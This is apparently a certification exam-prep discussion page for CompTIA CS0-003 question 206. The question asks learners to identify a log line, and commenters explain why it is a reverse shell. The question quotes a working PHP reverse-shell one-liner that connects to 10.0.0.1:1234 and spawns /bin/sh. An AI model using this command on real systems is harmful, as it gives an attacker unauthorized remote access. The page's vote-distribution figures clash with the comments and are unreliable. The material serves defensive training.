exam questions

Exam CS0-003 All Questions

View all questions & answers for the CS0-003 exam

Exam CS0-003 topic 1 question 206 discussion

Actual exam question from CompTIA's CS0-003
Question #: 206
Topic #: 1
[All CS0-003 Questions]

While reviewing web server logs, a security analyst discovers the following suspicious line:

php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’

Which of the following is being attempted?

  • A. Remote file inclusion
  • B. Command injection
  • C. Server-side request forgery
  • D. Reverse shell
Show Suggested Answer Hide Answer
Suggested Answer: D 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
[Removed]
Highly Voted 10 months ago
Reverse shell sh -i
upvoted 15 times
...
RiccardoBellitto
Highly Voted 7 months, 4 weeks ago
Selected Answer: D
It's a reverse shell because: - fsockopen is used to open a connection - /bin/sh -i - redirection of input and output via '<&3 >&3 2>&3'
upvoted 9 times
...
section8santa
Most Recent 8 months, 2 weeks ago
Selected Answer: D
The suspicious line of code indicates an attempt to establish a reverse shell connection from the compromised web server to an external IP address (10.0.0.1) and a specific port (1234). This indicates that the attacker is attempting to gain unauthorized remote access to the web server by opening a network socket, executing a shell command (/bin/sh -i), and redirecting the input and output to the network socket. Therefore, the correct answer is: D. Reverse shell
upvoted 2 times
...
Franky30
9 months, 2 weeks ago
Selected Answer: B
The suspicious line in the web server logs indicates an attempt at Command Injection. The attacker is trying to execute arbitrary commands on the server by injecting them into the PHP code. Specifically, the code is attempting to open a socket connection to "10.0.0.1" on port 1234 and then execute a shell (/bin/sh) with input, output, and error streams redirected to the socket. This is a common technique used in command injection attacks.
upvoted 1 times
garfield123
8 months, 4 weeks ago
Don't pick B, this is clearly a reverse shell attack. 'fsockopen' initiates the connection on 10.0.0.1. 'exec' function is then used to execute /bin/sh -i <&3 >&3 2>&3, which establishes a command shell on the target machine. /sh -i = reverse shell. Yes they are injecting commands, but the better answer (which is the goal of the attacker) is to create a reverse shell on the victim's machine
upvoted 14 times
...
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...